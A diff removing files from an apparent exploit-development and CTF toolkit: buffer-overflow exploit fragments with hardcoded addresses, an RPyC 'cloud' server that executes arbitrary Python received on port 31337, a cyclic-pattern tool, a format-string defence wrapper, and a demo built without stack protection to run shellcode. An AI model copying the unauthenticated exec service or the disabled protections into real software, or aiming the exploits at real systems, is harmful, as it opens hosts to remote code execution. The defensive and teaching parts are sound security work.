-	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
-	#return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
-	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048824, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
-
-def exploit2_qs(t_s, v):
-	str1_pos = 0x08049701
-	null1_pos = 0x08049734
-	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
-	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')

cloud/README

@@ -1,4 +0,0 @@
-step 1. run `python registry_server.py -m tcp`
-step 2. run `python server.py`
-step 3. ???
-step 4. profit!

cloud/client.py

@@ -1,12 +0,0 @@
-from pwn import *
-import rpyc
-from rpyc.utils.registry import TCPRegistryClient
-import socket
-
-def cloud(code):
-    hostname = socket.gethostbyname(socket.gethostname())
-    hostinfo, _ = rpyc.discover('CLOUD', registrar = TCPRegistryClient(hostname))
-    ip, port = hostinfo
-    c = rpyc.connect(ip, port)
-    return c.root.doit(code)
-

cloud/registry_server.py

@@ -1,51 +0,0 @@
-#!/usr/bin/env python
-"""
-The registry server listens to broadcasts on UDP port 18812, answering to
-discovery queries by clients and registering keepalives from all running
-servers. In order for clients to use discovery, a registry service must
-be running somewhere on their local network.
-"""
-from optparse import OptionParser
-from rpyc.utils.registry import REGISTRY_PORT, DEFAULT_PRUNING_TIMEOUT
-from rpyc.utils.registry import UDPRegistryServer, TCPRegistryServer
-from rpyc.lib import setup_logger
-import logging
-
-parser = OptionParser()
-parser.add_option("-m", "--mode", action="store", dest="mode", metavar="MODE",
-    default="udp", type="string", help="mode can be 'udp' or 'tcp'")
-parser.add_option("-p", "--port", action="store", dest="port", type="int",
-    metavar="PORT", default=REGISTRY_PORT, help="specify a different UDP/TCP listener port")
-parser.add_option("-f", "--file", action="store", dest="logfile", type="str",
-    metavar="FILE", default=None, help="specify the log file to use; the default is stderr")
-parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
-    default=False, help="quiet mode (only errors are logged)")
-parser.add_option("-t", "--timeout", action="store", dest="pruning_timeout",
-    type="int", default=DEFAULT_PRUNING_TIMEOUT, help="sets a custom pruning timeout")
-
-def main():
-    logging.basicConfig(level=logging.INFO)
-    log = logging.getLogger('CloudServer')
-
-    options, args = parser.parse_args()
-    if args:
-        raise ValueError("does not take positional arguments: %r" % (args,))
-
-    if options.port < 1 or options.port > 65535:
-        raise ValueError("invalid TCP/UDP port %r" % (options.port,))
-
-    if options.mode.lower() == "udp":
-        server = UDPRegistryServer(port = options.port,
-            pruning_timeout = options.pruning_timeout, logger = log)
-    elif options.mode.lower() == "tcp":
-        server = TCPRegistryServer(port = options.port,
-            pruning_timeout = options.pruning_timeout, logger = log)
-    else:
-        raise ValueError("invalid mode %r" % (options.mode,))
-
-    setup_logger(options)
-    server.start()
-
-
-if __name__ == "__main__":
-    main()

cloud/server.py

@@ -1,34 +0,0 @@
-#!/usr/bin/env python
-
-import rpyc
-from rpyc.utils.registry import TCPRegistryClient
-
-class CloudService(rpyc.Service):
-    def on_connect(self):
-        print "Incoming connection"
-        pass
-
-    def on_disconnect(self):
-        print "Closing connection"
-        pass
-
-    def exposed_doit(self, code):
-        '''Execute arbitrary python code, given as a string, and returns the namespace in which it was executed.
-'''
-        cloud = {}
-        try:
-            exec(code) in cloud
-        except:
-            pass
-        return cloud
-
-
-if __name__ == "__main__":
-    from rpyc.utils.server import ThreadedServer
-    import logging
-    import socket
-    logging.basicConfig(level=logging.INFO)
-    log = logging.getLogger('CloudServer')
-    hostname = socket.gethostbyname(socket.gethostname())
-    t = ThreadedServer(CloudService, hostname=hostname, port = 31337, registrar = TCPRegistryClient(hostname), logger = log)
-    t.start()

crop/Makefile

@@ -1,4 +0,0 @@
-.PHONY: all
-all:
-	premlton src/crop.mlb
-	mv src/crop bin/crop

crop/src/Log.sig

@@ -1,16 +0,0 @@
-signature Log =
-sig
-  datatype level = Debug
-                 | Verbose
-                 | Chatty
-                 | Normal
-                 | Quiet
-  val setLevel : level -> unit
-  val setIndentation : int -> unit
-  val indent : int -> unit
-  val debug : string -> unit
-  val verbose : string -> unit
-  val chatty : string -> unit
-  val normal : string -> unit
-  val warning : string -> unit
-end

crop/src/Log.sml

@@ -1,49 +0,0 @@
-structure Log :> Log =
-struct
-datatype level = Debug
-               | Verbose
-               | Chatty
-               | Normal
-               | Quiet
-
-val level = ref Normal
-val ind = ref 0
-
-fun setLevel l = level := l
-
-fun setIndentation n = ind := n
-
-fun indent n = ind := (!ind + n)
-
-fun print s = if !ind > 0
-              then println (String.spaces (!ind) ^ s)
-              else println s
-
-fun debug s =
-    if !level = Debug
-    then print s
-    else ()
-
-fun verbose s =
-    if !level = Verbose
-    then print s
-    else debug s
-
-fun chatty s =
-    if !level = Chatty
-    then print s
-    else verbose s
-
-fun normal s =
-    if !level <> Quiet
-    then print s
-    else ()
-
-fun warning s =
-    (TextIO.output (TextIO.stdErr,
-                    if !level = Quiet
-                    then s ^ "\n"
-                    else String.spaces (!ind) ^ s ^ "\n"
-                   )
-   ; TextIO.flushOut TextIO.stdErr)
-end

crop/src/crop.mlb

@@ -1,10 +0,0 @@
-local
-$(SML_LIB)/basis/basis.mlb
-../mylib/MyLib.mlb
-in
-Log.sig
-Log.sml
-
-%pre main.sml
-%pre go.sml
-end

crop/src/go.sml

@@ -1,146 +0,0 @@
-val version = "0.0.1"
-
-fun usage name =
-    map println
-        ["usage: % rect [rect ...] [options]" <- name
-       , ""
-       , "Rect:"
-       , "  <line skip>,<line count>,<char skip>,<char count>"
-       , "Options:"
-       , "  -w<n>, --window <n>"
-       , "    Repeat for every n lines"
-       , "  -n, --no-linefeed"
-       , "  -o <file>"
-        ]
-
-fun printVersionAndExt () = (println ("crop version " ^ version)
-                           ; OS.Process.exit OS.Process.success)
-fun printUsageAndExit () = (usage $ CommandLine.name ()
-                          ; OS.Process.exit OS.Process.success)
-fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
-
-local
-  val window = ref NONE
-  val rects = ref nil
-  val nlf = ref false
-  val src = ref NONE
-  val dst = ref NONE
-  fun setWindow x = window := SOME x
-  fun setNLF x = nlf := true
-  fun addRect r = rects := r :: !rects
-  fun setSrc x = case !src of
-                   SOME s => raise Fail ("Only one source file allowed \
-                                         \(you already told me '" ^ s ^ "')")
-                 | NONE => src := SOME x
-  fun setDst x = dst := SOME x
-  fun getOpt () =
-      let
-        val src = case !src of
-                    SOME f => TextIO.openIn f
-                  | NONE   => TextIO.stdIn
-        val dst = case !dst of
-                    SOME f => TextIO.openOut f
-                  | NONE   => TextIO.stdOut
-      in
-        (!window, !rects, !nlf, src, dst)
-      end
-      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
-             raise Fail (desc ^ ": '" ^ name ^ "'")
-in
-
-fun parseArgs args =
-    let open Parser val op >>= = op -->
-      open (oneOf) Text
-      open (comma, dash) Symb
-      infix 0 |||
-      infix 1 --- |-- --| ^^^ ::: @@@
-      infix 2 >>> >>= ??? produce underlies
-
-      fun unknownOpt k v =
-          raise Fail ("Unknown option (%): %" <- k <- v)
-      val args =
-          List.concatMap
-            (fn arg =>
-                case explode arg of
-                  #"-" :: c :: cs =>
-                  if Char.isAlpha c andalso not $ null cs
-                  then [String.substring (arg, 0, 2)
-                      , String.extract (arg, 2, NONE)]
-                  else [arg]
-                | _ => [arg])
-            args
-
-      val window =
-          do tok <- any
-           ; return
-               (case Int.fromString tok of
-                  SOME n => setWindow n
-                | NONE   => unknownOpt "--window" tok
-               )
-          end
-
-      val num = many1 $ oneOf "0123456789-" >>> implode
-      val coord = num >>> (0 \> Option.getOpt o Int.fromString)
-                      ||| dash produce 0
-
-      val rect =
-          do y <- coord
-           ; comma
-           ; b <- coord
-           ; comma
-           ; x <- coord
-           ; comma
-           ; a <- coord
-           ; return ((y, b), (x, a))
-          end
-
-      fun help ? = (return $ printUsageAndExit ()) ?
-
-      val one =
-          do tok <- any
-           ; case tok of
-               "--window"     => window
-             | "-w"           => window
-             | "-no-linefeed" => return $ setNLF ()
-             | "-n"           => return $ setNLF ()
-             | "-o"           => any >>> setDst
-             | "--help"       => help
-             | "-h"           => help
-             | "-?"           => help
-             | "--version"    => return $ printVersionAndExt ()
-             | _              => return
-               (case Parse.string rect tok of
-                  Right r => addRect r
-                | Left _  => setSrc tok
-               )
-          end
-      val parse =
-          do many' one
-           ; eof
-          end
-    in
-      case Parse.list parse args of
-        Right _ => getOpt ()
-      | Left ({token = SOME x, ...} :: _) =>
-        raise Fail ("Could not parse command line arguments\
-                    \ (failed on '" ^ x ^ "')")
-      | Left _ =>
-        raise Fail ("Could not parse command line arguments")
-    end
-end
-
-fun verify (args as (window, rects, _, _, _)) =
-    ((if null rects
-      then raise Fail "No rects given"
-      else ())
-   ; Option.map (fn n => if n <= 0
-                         then raise Fail "Window must be strictly positive"
-                         else ()) window
-   ; args
-    )
-
-fun go () =
-    main $ verify $ parseArgs $ CommandLine.arguments ()
-    handle Fail s => die s
-
-val _ = go ()

crop/src/main.sml

@@ -1,61 +0,0 @@
-fun main (window, rects, nlf, src, dst) =
-    let
-      (* val lines = String.fields (#"\n" \< op=) $ TextIO.inputAll src *)
-      val lines =
-          let
-            fun loop () =
-                case TextIO.inputLine src of
-                  SOME line =>
-                  String.substring (line, 0, size line - 1) :: loop ()
-                | NONE => nil
-          in
-            loop ()
-          end
-
-      val numLines = length lines
-      val window = getOpt (window, numLines)
-
-      fun correct e (x, a) =
-          (* x absolute, a relative *)
-          if x >= 0 andalso a > 0
-          then (x, x + a)
-          (* x relative, a absolute *)
-          else if x < 0 andalso a <= 0
-          then (e + a + x, e + a)
-          (* both absolute *)
-          else if x >= 0 andalso a <= 0
-          then (x, e + a)
-          (* both relative -- an error *)
-          else raise Fail ("Both indexes relative: " ^
-                           Show.pair Show.int Show.int (x, a))
-
-      val rects =
-          map (Pair.mapFst $ correct window) rects
-
-      fun line (n, l) =
-          let
-            val len = size l
-            val (min, max) =
-                foldl (fn ((b, e), (min, max)) =>
-                                   (Int.min (b, min), Int.max (e, max))
-                      ) (len, ~1) $
-                map (fn (_, x) => correct len x) $
-                List.filter (fn ((y, b), _) =>
-                                let
-                                  val offset = n mod window
-                                in
-                                  offset >= y andalso offset < b
-                                end
-                            ) rects
-            val max = Int.min (max, len)
-          in
-            TextIO.output (dst, String.substring (l, min, max - min))
-          ; if not nlf
-            then TextIO.output (dst, "\n")
-            else ()
-          end
-          handle Subscript => ()
-
-    in
-      app line $ ListPair.zip (List.tabulate (numLines, id), lines)
-    end

cyclic/cyclic

@@ -1,48 +0,0 @@
-#!/usr/bin/env python
-import pwn, sys, argparse, string
-from pwn import de_bruijn, de_bruijn_find
-
-if __name__ == "__main__":
-    p = argparse.ArgumentParser(description="Cyclic pattern creator/finder")
-    p.add_argument('-a', '--alphabet',
-                   metavar = '<alphabet>',
-                   default = string.ascii_lowercase,
-                   help = 'The alphabet to use in the cyclic pattern',
-                   )
-    p.add_argument('-l', '--large-alphabet',
-                   action = 'store_true',
-                   help = 'Use a large alphabet (digits, letters, punctuation)',
-                   )
-    p.add_argument('-o', '--offset',
-                   action = 'store_true',
-                   help = 'Find offset of substring in cyclic pattern (given as hex (0x...), integer or string)',
-                   )
-    p.add_argument('patsize',
-                   metavar = '<pattern|size>',
-                   help = 'Depending on the -o flag, 1) the desired size of the created pattern, or 2) the subpattern to find the offset of',
-                   )
-
-    args = p.parse_args()
-
-    if args.large_alphabet:
-        alph = string.digits + string.ascii_letters + string.punctuation
-    else:
-        alph = args.alphabet
-
-    if args.offset:
-        pat = args.patsize
-        if pat.startswith('0x'):
-            pat = pwn.p32(int(pat[2:], 16) & 0xffffffff)
-        elif pat.isdigit():
-            pat = pwn.p32(int(pat, 10) & 0xffffffff)
-        else:
-            pat = pat[:4]
-        if len(pat) < 4:
-            pwn.die('Subpattern must be 4 bytes')
-        offset = de_bruijn_find(pat, alph)
-        if offset == -1:
-            pwn.log.fail('Given pattern does not exist in cyclic pattern')
-        else:
-            print offset
-    else:
-        print de_bruijn(int(args.patsize))

defence/ld-wrapper/.gitignore

@@ -1,3 +0,0 @@
-*.o
-*.so
-test

defence/ld-wrapper/Makefile

@@ -1,34 +0,0 @@
-TARGETS=liboverride-32.so liboverride-64.so
-CSRCS=$(shell find . -maxdepth 1 -name "*.c")
-LIBS32=$(patsubst %.c,%.32.o,$(CSRCS)) ld-override.32.o
-LIBS64=$(patsubst %.c,%.64.o,$(CSRCS)) ld-override.64.o
-CFLAGS=-shared -Wall -Werror -fno-builtin -fPIC
-DEPFILE=.depend
-CC=gcc
-LDFLAGS=-ldl
-CTAGS=ctags -lc++
-
-all: $(TARGETS)
-
-clean:
-	rm -f $(TARGETS) $(LIBS32) $(LIBS64)
-
-liboverride-32.so: $(LIBS32)
-	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS) -m32
-
-liboverride-64.so: $(LIBS64)
-	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS)
-
-%.32.o: %.32.asm
-	nasm -felf32 -o $@ $<
-
-%.64.o: %.64.asm
-	nasm -felf64 -o $@ $<
-
-%.32.o: %.c
-	$(CC) -c $(CFLAGS) -o $@ $< -m32
-
-%.64.o: %.c
-	$(CC) -c $(CFLAGS) -o $@ $<
-
-.PHONY: all clean

defence/ld-wrapper/ld-helper.c

@@ -1,26 +0,0 @@
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include "ld-override.h"
-
-void lookup_function(struct _override *function) {
-    char *msg;
-
-    if(function->function_addr != NULL) return;
-
-    function->function_addr = dlsym(RTLD_NEXT, function->function_name);
-
-    if ((msg = dlerror()) != NULL) {
-        fprintf(stderr, "dlsym failed for symbol %s: %s\n", function->function_name, msg);
-        fflush(stderr);
-        exit(1);
-    }
-}
-
-/*
-void wrapper() {}
-void skip_real(uintptr_t n) {}
-*/
-
-void consistency_check(struct _save_state *state) {}

defence/ld-wrapper/ld-override.32.asm

@@ -1,109 +0,0 @@
-[bits 32]
-section .text
-global wrapper
-global skip_real
-extern consistency_check
-extern lookup_function
-extern thread_stack
-extern rand
-
-struc STATE
-    .EBX: resd 1
-    .EBP: resd 1
-    .EDI: resd 1
-    .ESI: resd 1
-    .ESP: resd 1
-    .FUNCTION: resd 1
-    .EIP: resd 1
-endstruc
-
-struc FUNCTION
-    .REAL: resd 1
-    .WRAPPER: resd 1
-    .NAME: resd 1
-endstruc
-
-wrapper:
-    ; Fill in the missing pieces to make a valid _save_state
-    push esp
-    add dword [esp], 4
-    push esi
-    push edi
-    push ebp
-    push ebx
-
-    ; Call consistency_check with a pointer to the _save_state
-    push esp
-    call consistency_check
-    add esp, 4
-
-    ; Make sure the function pointer is valid
-    push dword [esp+STATE.FUNCTION]
-    call lookup_function
-    add esp, 4
-
-    ; Save state on  thread_stack
-    ; Results in everything but the arguments themselves being popped
-    call thread_stack
-    add dword [eax], STATE_size
-
-    mov eax, [eax]
-    xor ecx, ecx
-
-.loop:
-    pop edx
-    mov [eax-STATE_size+ecx], edx
-    add ecx, 4
-    cmp ecx, STATE_size
-    jl .loop
-
-
-    ; Call the wrapper function
-    mov edx, [eax-STATE_size+STATE.FUNCTION]
-    mov edx, [edx+FUNCTION.WRAPPER]
-    call edx
-
-    ; Call the real function
-    call thread_stack
-    mov eax, [eax]
-    mov edx, [eax-STATE_size+STATE.FUNCTION]
-    mov edx, [edx+FUNCTION.REAL]
-    call edx
-
-    ; Make the return value be an argument to skip_real
-    push eax
-    push eax
-
-skip_real:
-    ; Find the thread_stack
-    call thread_stack
-    mov ecx, [eax]
-
-    ; Get the value to return when done from the stack
-    pop edx
-    pop edx
-
-    ; Restore callee-saved values
-    mov ebx, [ecx-STATE_size+STATE.EBX]
-    mov ebp, [ecx-STATE_size+STATE.EBP]
-    mov edi, [ecx-STATE_size+STATE.EDI]
-    mov esi, [ecx-STATE_size+STATE.ESI]
-    mov esp, [ecx-STATE_size+STATE.ESP]
-    mov ecx, [ecx-STATE_size+STATE.EIP]
-    mov [esp], ecx
-
-    ; Clean up the thread_stack
-    sub dword [eax], STATE_size
-
-    ; Push the return value to the local stack
-    push edx
-
-    ; Put garbage on ecx and edx
-    call rand
-    mov ecx, eax
-    call rand
-    mov edx, eax
-
-    ; Return
-    pop eax
-    ret

defence/ld-wrapper/ld-override.64.asm

@@ -1,168 +0,0 @@
-[bits 64]
-section .text
-global wrapper
-global skip_real
-extern consistency_check
-extern lookup_function
-extern thread_stack
-extern rand
-
-struc STATE
-    .RAX: resq 1
-    .RBX: resq 1
-    .RCX: resq 1
-    .RDX: resq 1
-    .RBP: resq 1
-    .RDI: resq 1
-    .RSI: resq 1
-    .R8:  resq 1
-    .R9:  resq 1
-    .R10: resq 1
-    .R12: resq 1
-    .R13: resq 1
-    .R14: resq 1
-    .R15: resq 1
-    .RSP: resq 1
-    .FUNCTION: resq 1
-    .RIP: resq 1
-endstruc
-
-struc FUNCTION
-    .REAL: resq 1
-    .WRAPPER: resq 1
-    .NAME: resq 1
-endstruc
-
-wrapper:
-    ; Fill in the missing pieces to make a valid _save_state
-    push rsp
-    add qword [rsp], 8
-    push r15
-    push r14
-    push r13
-    push r12
-    push r10
-    push r9
-    push r8
-    push rsi
-    push rdi
-    push rbp
-    push rdx
-    push rcx
-    push rbx
-    push rax
-
-    ; Call consistency_check with a pointer to the _save_state
-    mov rdi, rsp
-    mov qword r11, consistency_check
-    call r11
-
-    ; Make sure the function pointer is valid
-    mov rdi, [rsp+STATE.FUNCTION]
-    mov qword r11, lookup_function
-    call r11
-
-    ; Save state on  thread_stack
-    ; Results in everything but the arguments themselves being popped
-    mov qword r11, thread_stack
-    call r11
-    add qword [rax], STATE_size
-
-    mov r11, [rax]
-    xor rcx, rcx
-
-.loop:
-    pop rdx
-    mov [r11-STATE_size+rcx], rdx
-    add rcx, 8
-    cmp rcx, STATE_size
-    jl .loop
-
-
-    ; Call the wrapper function
-    mov rax, [r11-STATE_size+STATE.RAX]
-    mov rcx, [r11-STATE_size+STATE.RCX]
-    mov rdx, [r11-STATE_size+STATE.RDX]
-    mov rdi, [r11-STATE_size+STATE.RDI]
-    mov rsi, [r11-STATE_size+STATE.RSI]
-    mov r8,  [r11-STATE_size+STATE.R8]
-    mov r9,  [r11-STATE_size+STATE.R9]
-    mov r10, [r11-STATE_size+STATE.R10]
-    mov r11, [r11-STATE_size+STATE.FUNCTION]
-    mov r11, [r11+FUNCTION.WRAPPER]
-    call r11
-
-    ; Call the real function
-    mov qword r11, thread_stack
-    call r11
-    mov r11, [rax]
-    mov rax, [r11-STATE_size+STATE.RAX]
-    mov rcx, [r11-STATE_size+STATE.RCX]
-    mov rdx, [r11-STATE_size+STATE.RDX]
-    mov rdi, [r11-STATE_size+STATE.RDI]
-    mov rsi, [r11-STATE_size+STATE.RSI]
-    mov r8,  [r11-STATE_size+STATE.R8]
-    mov r9,  [r11-STATE_size+STATE.R9]
-    mov r10, [r11-STATE_size+STATE.R10]
-    mov r11, [r11-STATE_size+STATE.FUNCTION]
-    mov r11, [r11+FUNCTION.REAL]
-    call r11
-
-    ; Make the return value be an argument to skip_real
-    mov rdi, rax
-
-skip_real:
-    push rdi
-    ; Find the thread_stack
-    mov qword r11, thread_stack
-    call r11
-    mov r11, [rax]
-
-    ; Get the value to return when done from the stack
-    pop rdx
-
-    ; Restore callee-saved values
-    mov rbx, [r11-STATE_size+STATE.RBX]
-    mov rbp, [r11-STATE_size+STATE.RBP]
-    mov r12, [r11-STATE_size+STATE.R12]
-    mov r13, [r11-STATE_size+STATE.R13]
-    mov r14, [r11-STATE_size+STATE.R14]
-    mov r15, [r11-STATE_size+STATE.R15]
-    mov rsp, [r11-STATE_size+STATE.RSP]
-    mov r11, [r11-STATE_size+STATE.RIP]
-    mov [rsp], r11
-
-    ; Clean up the thread_stack
-    sub qword [rax], STATE_size
-
-    ; Push the return value to the local stack
-    push rdx
-
-    ; Get a lot of garbage and put it on the stack
-    xor rcx, rcx
-    mov ecx, (2*8)
-
-.loop2:
-    push rcx
-    mov qword rax, rand
-    call rax
-    pop rcx
-
-    shl rax, 32
-    push rax
-    add rsp, 4
-
-    loop .loop2
-
-    pop rcx
-    pop rdx
-    pop rsi
-    pop rdi
-    pop r8
-    pop r9
-    pop r10
-    pop r11
-
-    ; Return
-    pop rax
-    ret

defence/ld-wrapper/ld-override.h

@@ -1,61 +0,0 @@
-#ifndef __LD_OVERRIDE
-#define __LD_OVERRIDE
-
-#include <stdint.h>
-#include <stdlib.h>
-
-struct _override {
-    void* function_addr;
-    void* wrapper_addr;
-    char *function_name;
-};
-
-
-#define constructor __attribute__((constructor))
-
-
-#ifdef __i386__
-#define WRAP(FUNCTION) \
-    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
-    extern void FUNCTION (); \
-    __asm(".text\r\n" \
-          ".globl " #FUNCTION "\r\n" \
-          ".type  " #FUNCTION ", @function\r\n" \
-          #FUNCTION ":\r\n" \
-            "push $_" #FUNCTION "_override\r\n" \
-            "jmp wrapper" \
-    )
-
-#else
-#define WRAP(FUNCTION) \
-    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
-    extern void FUNCTION (); \
-    __asm(".text\r\n" \
-          ".globl " #FUNCTION "\r\n" \
-          ".type  " #FUNCTION ", @function\r\n" \
-          #FUNCTION ":\r\n" \
-            "movabs $_" #FUNCTION "_override, %r11\r\n" \
-            "push %r11\r\n" \
-            "movabs $wrapper, %r11\r\n" \
-            "jmp *%r11\r\n" \
-    )
-#endif
-
-struct _save_state {
-#ifdef __i386__
-    uintptr_t ebx, ebp, edi, esi, esp;
-    struct _override *function_override;
-    uintptr_t eip;
-#else
-    uintptr_t rax, rbx, rcx, rdx, rbp, rdi, rsi, r8, r9, r10, r12, r13, r14, r15, rsp;
-    struct _override *function_override;
-    uintptr_t rip;
-#endif
-};
-
-void wrapper();
-void skip_real(uintptr_t retval);
-void lookup_function(struct _override *function);
-void consistency_check(struct _save_state *state);
-
-#endif

defence/ld-wrapper/printf.c

@@ -1,263 +0,0 @@
-#include "ld-override.h"
-#include <stdlib.h>
-
-
-void puts(char *);
-char *parse_format(char *);
-wchar_t *parse_format_wide(wchar_t *);
-
-
-void check_format_string(char *s) {
-    char *i = s;
-    while (*i != '\0') {
-        if (*i != '%') {
-            i++;
-            continue;
-        }
-        else {
-            i++;
-//            puts("printf: parsing format string");
-            i = parse_format(i);
-        }
-    }
-}
-
-char *parse_format(char *i) {
-    // Flags
-    while(*i == '#' ||
-          *i == '0' ||
-          *i == '-' ||
-          *i == ' ' ||
-          *i == '+' ||
-          *i == 'I' ||
-          *i == '\'') {
-//        puts("printf: parsing flags");
-        i++;
-    }
-
-    // Field width
-    while(*i == '0' ||
-          *i == '1' ||
-          *i == '2' ||
-          *i == '3' ||
-          *i == '4' ||
-          *i == '5' ||
-          *i == '6' ||
-          *i == '7' ||
-          *i == '8' ||
-          *i == '9') {
-//        puts("printf: parsing field width");
-        i++;
-    }
-
-    // Precision modifier
-    while(*i == '.' ||
-          *i == '*' ||
-          *i == '$' ||
-          *i == '0' ||
-          *i == '1' ||
-          *i == '2' ||
-          *i == '3' ||
-          *i == '4' ||
-          *i == '5' ||
-          *i == '6' ||
-          *i == '7' ||
-          *i == '8' ||
-          *i == '9') {
-//        puts("printf: parsing precision modifier");
-        i++;
-    }
-
-    // Length modifier
-    while(*i == 'h' ||
-          *i == 'l' ||
-          *i == 'L' ||
-          *i == 'q' ||
-          *i == 'j' ||
-          *i == 'z' ||
-          *i == 't') {
-//        puts("printf: parsing length modifier");
-        i++;
-    }
-
-    if(*i == 'n') {
-        puts("NU DØR BABY!");
-        exit(1337);
-    }
-    i++;
-
-    return i;
-}
-
-void check_format_string_wide(wchar_t *s) {
-    wchar_t *i = s;
-    while (*i != '\0') {
-        if (*i != '%') {
-            i++;
-            continue;
-        }
-        else {
-            i++;
-//            puts("printf: parsing format string");
-            i = parse_format_wide(i);
-        }
-    }
-}
-
-wchar_t *parse_format_wide(wchar_t *i) {
-    // Flags
-    while(*i == '#' ||
-          *i == '0' ||
-          *i == '-' ||
-          *i == ' ' ||
-          *i == '+' ||
-          *i == 'I' ||
-          *i == '\'') {
-//        puts("printf: parsing flags");
-        i++;
-    }
-
-    // Field width
-    while(*i == '0' ||
-          *i == '1' ||
-          *i == '2' ||
-          *i == '3' ||
-          *i == '4' ||
-          *i == '5' ||
-          *i == '6' ||
-          *i == '7' ||
-          *i == '8' ||
-          *i == '9') {
-//        puts("printf: parsing field width");
-        i++;
-    }
-
-    // Precision modifier
-    while(*i == '.' ||
-          *i == '*' ||
-          *i == '$' ||
-          *i == '0' ||
-          *i == '1' ||
-          *i == '2' ||
-          *i == '3' ||
-          *i == '4' ||
-          *i == '5' ||
-          *i == '6' ||
-          *i == '7' ||
-          *i == '8' ||
-          *i == '9') {
-//        puts("printf: parsing precision modifier");
-        i++;
-    }
-
-    // Length modifier
-    while(*i == 'h' ||
-          *i == 'l' ||
-          *i == 'L' ||
-          *i == 'q' ||
-          *i == 'j' ||
-          *i == 'z' ||
-          *i == 't') {
-//        puts("printf: parsing length modifier");
-        i++;
-    }
-
-    if(*i == 'n') {
-        puts("NU DØR BABY!");
-        exit(1337);
-    }
-    i++;
-
-    return i;
-}
-
-void printf_wrapper(char *s) {
-    check_format_string(s);
-}
-
-void dprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void asprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void vasprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void vdprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void fprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void sprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void snprintf_wrapper(int ignore, int ignore2, char *s) {
-    check_format_string(s);
-}
-
-void vprintf_wrapper(char *s) {
-    check_format_string(s);
-}
-
-void vfprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void vsprintf_wrapper(int ignore, char *s) {
-    check_format_string(s);
-}
-
-void vsnprintf_wrapper(int ignore, int ignore2, char *s) {
-    check_format_string(s);
-}
-
-
-// Wide chars
-void wprintf_wrapper(wchar_t *s) {
-    check_format_string_wide(s);
-}
-void fwprintf_wrapper(int ignore, wchar_t *s) {
-    check_format_string_wide(s);
-}
-void swprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
-    check_format_string_wide(s);
-}
-void vwprintf_wrapper(wchar_t *s) {
-    check_format_string_wide(s);
-}
-
-void vfwprintf_wrapper(int ignore, wchar_t *s) {
-    check_format_string_wide(s);
-}
-
-void vswprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
-    check_format_string_wide(s);
-}
-WRAP(printf);
-WRAP(asprintf);
-WRAP(vasprintf);
-WRAP(dprintf);
-WRAP(vdprintf);
-WRAP(fprintf);
-WRAP(sprintf);
-WRAP(snprintf);
-WRAP(vprintf);
-WRAP(vfprintf);
-WRAP(vsprintf);
-WRAP(vsnprintf);
-
-// Wide
-WRAP(wprintf);
-WRAP(fwprintf);
-WRAP(swprintf);
-WRAP(vwprintf);
-WRAP(vfwprintf);
-WRAP(vswprintf);

defence/ld-wrapper/srand.c

@@ -1,23 +0,0 @@
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include "ld-override.h"
-
-void srand_wrapper(int seed);
-
-WRAP(srand);
-
-void constructor fix_srand () {
-    int fd = open("/dev/urandom",O_RDONLY);
-    int seed;
-    read(fd, &seed, sizeof(seed));
-
-    lookup_function(&_srand_override);
-    ((void (*)()) _srand_override.function_addr) (seed);
-}
-
-void srand_wrapper(int seed) {
-    skip_real(0);
-}

defence/ld-wrapper/thread-stack.c

@@ -1,15 +0,0 @@
-#include <sys/mman.h>
-#include <stdlib.h>
-#include "thread-stack.h"
-
-static __thread void* local_thread_stack = NULL;
-
-void** thread_stack() {
-    if(local_thread_stack == NULL) {
-        local_thread_stack = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-    }
-
-    return &local_thread_stack;
-}
-
-

defence/ld-wrapper/thread-stack.h

@@ -1,6 +0,0 @@
-#ifndef __THREAD_STACK
-#define __THREAD_STACK
-
-void** thread_stack();
-
-#endif

defence/monitor/hosts

@@ -1 +0,0 @@
-192.168.25.1

defence/monitor/services

@@ -1 +0,0 @@
-/home/kris/git/pwntools/defence/monitor/test/echoserv

defence/monitor/wish_list.txt

@@ -1,8 +0,0 @@
-Monitor services (autorestart when down)
-Script to move services (for obfuscation)
-Monitor enemy hosts
-Monitor (suspicious) network activity
-Monitor (suspicious) file activity
-Statistics (uptime, traffic etc)
-Monitor shells running on the system
-

demo/Makefile

@@ -1,4 +0,0 @@
-.PHONY: all
-all:
-	gcc -z execstack -fno-stack-protector demo.c -o demo64 -m64
-	gcc -z execstack -fno-stack-protector demo.c -o demo32 -m32

demo/demo.c

@@ -1,73 +0,0 @@
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <stdlib.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-int main(int argc, char **argv) {
-  char *stack_space[0x1000];
-  int fd;
-  struct stat sbuf;
-  void (*shellcode)(void);
-  int i, z, c, bufsize, numb;
-  unsigned char *p;
